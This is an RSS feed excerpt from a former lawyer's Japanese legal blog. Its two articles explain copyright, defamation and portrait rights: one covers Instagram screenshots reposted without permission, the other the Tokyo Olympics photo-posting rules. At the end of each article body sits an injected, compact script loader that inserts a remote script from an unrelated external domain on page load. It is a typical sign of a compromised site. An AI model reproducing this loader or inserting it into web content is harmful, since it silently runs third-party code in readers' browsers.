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	<title>肖像権、著作権、プライバシー権、名誉毀損 | 元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</title>
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		<title>インスタグラムで勝手にスクショを撮られてアップされた！著作権侵害で訴えることは可能？</title>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Sat, 08 Feb 2020 02:14:50 +0000</pubDate>
				<category><![CDATA[その他法律問題]]></category>
		<category><![CDATA[法律問題]]></category>
		<category><![CDATA[肖像権、著作権、プライバシー権、名誉毀損]]></category>
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					<description><![CDATA[<p>先日、このようなことでお悩みの方がおられました。 「ある人から嫌がらせをされています。その人は私がインスタに上げている写真を勝手にスクショして自分のインスタのストーリーに載せた上、私を誹謗中傷しています。 私の名前は出さ</p>
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										<content:encoded><![CDATA[<p>先日、このようなことでお悩みの方がおられました。</p>
<p>「ある人から嫌がらせをされています。その人は私がインスタに上げている写真を勝手にスクショして自分のインスタのストーリーに載せた上、私を誹謗中傷しています。<br />
私の名前は出されていないのですが、著作権侵害や名誉毀損にならないのでしょうか？」</p>
<p>このようなとき、名誉毀損や著作権侵害は成立しないのでしょうか？また侵害になる場合にどのように対処したらよいのか、考えてみましょう。</p>
<h3>1．問題となる行為</h3>
<p>今回のご相談で、相手の行為にはどのような問題があるのでしょうか？<br />
1つ1つ、分解して考えてみましょう。<br />
仮にこのご相談者様をAさんとします。</p>
<p>1つ目の問題は、相手が勝手にAさんの投稿写真をスクショしたことです。インスタの投稿をツイッターなどで共有することは認められていますが、スクショは著作権侵害にならないのでしょうか？<br />
2つ目の問題は、相手がスクショした写真を相手自身のストーリーに勝手に投稿していることです。Aさんの許可を取らずに投稿することは、著作権侵害にならないのでしょうか？<br />
3つ目は、名誉毀損の問題です。相手はAさんの名前は出していませんが、スクショ写真をアップしてAさんの悪口を言っています。相手が特定されていなくても名誉毀損になのではいでしょうか？</p>
<p>実際こういったことでお悩みの方はたくさんおられると思います。これを機会に正しい考え方と対処方法を知っておきましょう。</p>
<p>以下で、1つ1つ確認していきます。</p>
<h3>2．勝手にスクショしたことは著作権侵害か</h3>
<p>相手がAさんの写真を勝手に撮影したことは著作権法違反になるのでしょうか？<br />
この場合、相手は写真撮影によってAさんの写真を「複製」して保存しているので、Aさんの著作権のうち「複製権」を侵害している可能性があります。複製権とは「コピーする権利」です。写真などの著作物については、著作者しかコピーしてはならないのです。</p>
<p>ただし著作物の複製禁止には「例外」があります。知っている方も多いかもしれませんが「私的利用」の範囲内であれば複製しても著作権法違反になりません。</p>
<p>本件の場合にも、相手がAさんの写真を撮影（スクショ）して保存し、自分や家族で楽しむだけであれば、複製権侵害にはなりません。</p>
<p>しかし相手は勝手に自分のインスタのストーリー画面に投稿して不特定多数に見せているので、すでに「私的利用」の範囲を超えていると考えられます。よってAさんの著作権のうち「複製権」の侵害になります。</p>
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</div>
<h3>3．勝手にインスタに投稿したことは著作権侵害か</h3>
<p>次に、相手がAさんの写真を勝手に投稿したこと自体が、別途著作権侵害になるのでしょうか？<br />
この場合、著作権の「公衆送信権」の侵害になる可能性があります。公衆送信権とは、著作物を公に発表する権利です。自分の著作物を他人に勝手に公にされたら公衆送信権侵害いなります。<br />
Aさんの事案で、相手はAさんに無断で「インターネット」という公の場にAさんの写真を公表しているので、Aさんの公衆送信権を侵害しています。</p>
<p>このように、相手はAさんの写真について「複製権」も「公衆送信権」も侵害しているので、著作権法違反となります。</p>
<p>Aさんは、相手を訴えて刑事的な処罰を受けさせたり民事賠償を求めたりすることができます。</p>
<h3>4．名誉毀損にはならないのか？</h3>
<p>相手はAさんの撮影た写真を貼り付けてAさんの名前を出さずにインスタのコメントで悪口を言っていますが、Aさんに対する名誉毀損になるのでしょうか？</p>
<p>名誉毀損は、「公に事実を摘示して人の社会的評価を低下させたとき」に成立する犯罪です。<br />
名誉毀損罪が成立するには、「誰に対する誹謗中傷か」が客観的にわかる必要があります。<br />
Aさんの名前が出ていなくても、写真の内容や書かれている言葉からAさんを特定できる状態なら、名誉毀損が成立する可能性があります。<br />
一方、写真とコメント見ただけでは誰のことを言っているのか分からない場合、名誉毀損にはなりません。</p>
<p>名誉毀損になる場合、Aさんは相手を名誉毀損で刑事告訴して刑事事件にしてもらったり、慰謝料を請求したりすることができます。</p>
<h3>5．Aさんがとるべき対処方法とは</h3>
<p><b>5-1．インスタグラムに通報</b><br />
Aさんとしては、まずはインスタグラムに通報すると良いでしょう。インスタグラムには、悪質なユーザーを規制するための通報機能があります。<br />
通報したいときには、自分のページの右上の歯車をタップして「サポート」内の「問題を報告」を選びます。<br />
そして「スパムまたは不正利用」を選び、次に「知的財産権」を選んで相手の情報を入力し、送信します。<br />
するとインスタグラムの運営側が通報内容を審査します。<br />
対応が必要であると判断したら相手に注意したり投稿やコメント内容を削除したりアカウントを停止したりするなど対処を行います。<br />
運営側が対応不要と考えた場合には、そのままになります。<br />
通報者には結果の連絡はこないので、結果がどうなったのかは後日自分で見に行って確かめる必要があります。</p>
<p><b>5-2．弁護士に相談して仮処分による削除をしてもらう</b><br />
自分でインスタグラムに通報しても対応して貰えない場合には、弁護士に依頼して「仮処分」という手続きを行ってもらい、裁判所からインスタグラムに著作権侵害の投稿の削除命令を出してもらうことができます。</p>
<h3>6．相手に損害賠償請求、告訴する方法</h3>
<p>著作権侵害名誉毀損を行った相手をそのまま放置していると、また同じような嫌がらせをされてしまうかもしれません。<br />
相手がどこの誰か分かっているのであれば、損害賠償請求をしたり刑事告訴をしたりして、ペナルティを与えておく方が良いでしょう。<br />
慰謝料については内容証明郵便で請求書を送り、話し合いをして払ってもらいます。このとき「二度と同じような嫌がらせはしない」と約束させることも大切です。<br />
刑事告訴については、慰謝料請求に対して相手が不誠実な対応をする場合に検討すると良いでしょう。</p>
<p>以上がインスタグラムで勝手にスクショをとられて投稿されたときの対処方法です。今後の参考にしてみてください。<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/1437">インスタグラムで勝手にスクショを撮られてアップされた！著作権侵害で訴えることは可能？</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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		<title>東京オリンピックでは写真のSNS投稿が禁止！？肖像権・著作権の正しい理解を元弁護士が解説！</title>
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		<dc:creator><![CDATA[福谷陽子]]></dc:creator>
		<pubDate>Sat, 08 Feb 2020 02:11:37 +0000</pubDate>
				<category><![CDATA[法律問題]]></category>
		<category><![CDATA[肖像権、著作権、プライバシー権、名誉毀損]]></category>
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					<description><![CDATA[<p>先日、このようなニュースが流れていました。 「2020年に行われる東京オリンピックで、観客は国際オリンピック委員会の事前の許可なくしては、撮影した写真や動画をネットに投稿してはいけないことが決定された。」 選手の写真だけ</p>
The post <a href="https://legalharuka.com/1432">東京オリンピックでは写真のSNS投稿が禁止！？肖像権・著作権の正しい理解を元弁護士が解説！</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></description>
										<content:encoded><![CDATA[<p>先日、このようなニュースが流れていました。</p>
<p>「2020年に行われる東京オリンピックで、観客は国際オリンピック委員会の事前の許可なくしては、撮影した写真や動画をネットに投稿してはいけないことが決定された。」<br />
選手の写真だけではなく、観客が応援している様子なども投稿してはならないとのことです。<br />
<a href="https://www.asahi.com/articles/ASM5Q7J9YM5QUTIL082.html?ref=hiru_mail_topix1" rel="nofollow">https://www.asahi.com/articles/ASM5Q7J9YM5QUTIL082.html?ref=hiru_mail_topix1</a></p>
<p>つまり東京オリンピックでは、せっかく観戦に行って白熱の試合状況を撮影しても、SNSでシェアすることができないのです。選手だけではなく単なる応援風景すら投稿が禁止されます。観客が撮影した写真の著作権は、IOCに譲渡される規約になっています。</p>
<p>いったいなぜ、このようなルールが設定されるのでしょうか？</p>
<p>実は、これは著作権法などの法律上の規定によるものではなく、オリンピック開催側が定めた独自のルールです。そのためこの規定には「制限が厳しすぎる」「著作権侵害にならないのになぜ？」という批判も寄せられています。</p>
<p>ただしこのルールがなくても、試合における選手の写真を撮影したり投稿したりすると「肖像権」との関係で問題になる可能性があります。</p>
<p>以下では肖像権がどのように認められるのか、また著作権との違いや肖像権侵害になるかならないかの判断方法などをご説明していきます。</p>
<h3>1．肖像権とは</h3>
<p>オリンピックなどで選手の写真を撮影すると、肖像権侵害になるのでしょうか？<br />
知っているようで知らない「肖像権」。<br />
そもそも肖像権とはどのような権利なのか、理解しておきましょう。</p>
<p>肖像権とは、「自分の姿をみだりに撮影されたり公表されたりしない権利」です。<br />
誤解されていることも多いのですが、肖像権は「誰にでも」認められます。有名人だけではなく一般人にも認められますし、大人にも子どもにも認められます。</p>
<p>また肖像権は「勝手に写されない権利」「勝手に公表されない権利」の2つを含みます。<br />
無断で撮影された場合にはもちろん肖像権侵害ですが、撮影について許可していても勝手に投稿されたらその時点で肖像権侵害となります。</p>
<p>たとえば友人と一緒に写真を写すとき、撮影について許可を得ていたら写真撮影しても肖像権侵害にはなりませんが、友人の許可なくツイッターに投稿したらその時点で友人に対する肖像権侵害になってしまいます。友人から差し止め請求や損害賠償請求を受ける可能性が発生します。</p>
<h3>2．肖像権法はあるのか</h3>
<p>著作権には「著作権法」という法律があって守られていますが、肖像権には「肖像権法」があるのでしょうか？</p>
<p>実は肖像権について定めた明確な法律はありません。肖像権は判例や解釈によって認められる権利です。</p>
<p>そこで肖像権についてわからないことがある場合、「肖像権法」を探して調べようと思っても不可能です。これまでの判例や弁護士などの法律家に聞いて正しい、解釈を知る必要があります。</p>
<h3>3．肖像権と著作権の違い</h3>
<p>ネットで写真を投稿するときには、肖像権と著作権の両方に配慮する必要があります。</p>
<p>以下では具体的に何にをつければ違法にならないのか、具体的に説明していきます。</p>
<p>まずはこの2つは何が違うのでしょうか？混乱している方もいるのでご説明しましょう。</p>
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</div>
<p>著作権とは、思想などを芸術的な方法で表現した著作物に認められる独占的な権利です。自分で撮影した写真や自分で描いた絵、文章、音楽や歌、踊りなどに著作権が認められます。<br />
これに対して肖像権は「勝手に姿を写されたり公表されたりしない権利」ですから、両者はまったく異なります。</p>
<p>たとえば他人の姿を勝手に写真撮影した場合、相手の肖像権侵害にはなりますが、自分で撮影した写真なので著作権侵害にはなりません。<br />
一方、誰かが撮影した人物の写真を勝手にコピーして投稿したら、撮影者の著作権侵害とモデルへの肖像権侵害の両方が成立します。</p>
<p>では、自分の写真を勝手に撮影された写真をコピーした場合、どうなるのでしょうか？この場合、撮影者に肖像権侵害されているので自分が被害者となります。<br />
ただし写真の著作権は撮影者になるので、勝手にコピーして投稿したらこちらが著作権侵害になる可能性があります。<br />
相手は肖像権侵害、こちらは著作権侵害ということになります。<br />
実際には自分が勝手に撮影された写真を喜んで投稿することは少ないでしょうし、もしそんなに気に入った写真なら肖像権侵害で訴えたりしないので、現実的には想定しにくいケースかもしれません。</p>
<h3>4．公式試合の選手を写真撮影・投稿したら、肖像権や著作権の侵害になるのか？</h3>
<p>オリンピックなどの公式試合の選手の写真を撮影したり投稿したりすると、著作権や肖像権を侵害することになるのでしょうか？</p>
<p>まず自分で撮影した写真である以上、著作権侵害にはなりません。<br />
一方、撮影される選手自身が撮影やネット投稿を了承していないなら、肖像権侵害になる可能性はあります。<br />
その場合、選手からネット掲載の差し止め請求や損害賠償請求される可能性があります。</p>
<h3>5．著作権や肖像権の侵害にならないのになぜ禁止されるのか</h3>
<p>東京オリンピックでは、選手だけではなく一般の観客全体の応援の様子を撮影してSNSに投稿することも禁止されます。このような場合、著作権侵害にはなりませんし、象人物がはっきり写り込んでいなければ肖像権侵害にもなりません。<br />
しかも今回は、写真を撮影したらその著作権がIOCに譲渡されるという強気の規約内容になっています。</p>
<p>IOCは、なぜそこまでしてSNS投稿を禁止するのでしょうか？<br />
それは、テレビ局が莫大な放映料を払っているので、それを保護するためです。<br />
このような規制に対しては、「規制しすぎではないか」「ネットなどで拡散されてこそのオリンピックではないか」と批判もされているところです。<br />
しかし禁止されている以上、東京オリンピックに行ったときに勝手にあたりの様子や選手を撮影して投稿すると、トラブルが発生するおそれがあるので控えましょう。</p>
<h3>6．肖像権侵害になるかどうかの判断基準は？</h3>
<p>さて、人には誰でも肖像権が認められるのですが、実際に写真撮影をするとき「どこまで肖像権が認められるのか」が問題になりやすいです。<br />
たとえば旅行先などで、意図せず現地の人が写り込んでしまった場合、肖像権侵害になるのでしょうか？</p>
<p>この点「その辺の人なら風景と同じだから肖像権侵害にならない」と思い、平気でインスタグラムなどに人が写り込んだ写真を投稿する方がいます。しかし無名の人でもその辺の知らない子供にも、肖像権は認められます。<br />
意図しない写り込みであっても、勝手に撮影、投稿するとその人への肖像権侵害になります。相手がネットを見て投稿された写真を発見したら削除や損害賠償請求を求めてくる可能性もあるので、注意しましょう。</p>
<p>肖像権侵害にならないのは、人物がぼやけてはっきり写っていないケースや、小さくてほとんど誰だか分からないようなケースです。ぱっとみて判別できる場合には肖像権侵害になると考えましょう。</p>
<h3>7．他人の写真を撮影するための許可の要件</h3>
<p>他人の写真を撮影するとき、どのような許可を取ればよいのでしょうか？<br />
これについて、特に決まった方法はありません。口頭で許可を得ても有効です。ただし後々のトラブルを避けるため、実際には「書面」で許可を取るべきです。<br />
投稿などを予定する場合には、撮影だけではなく投稿や公表も許可ことを明らかにして、署名押印してもらいましょう。</p>
<p>今回は、肖像権について詳しく解説しました。今後の参考にしてみてください。<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');</script></p>The post <a href="https://legalharuka.com/1432">東京オリンピックでは写真のSNS投稿が禁止！？肖像権・著作権の正しい理解を元弁護士が解説！</a> first appeared on <a href="https://legalharuka.com">元弁護士・法律ライター福谷陽子【ライター事務所HARUKA】</a>.]]></content:encoded>
					
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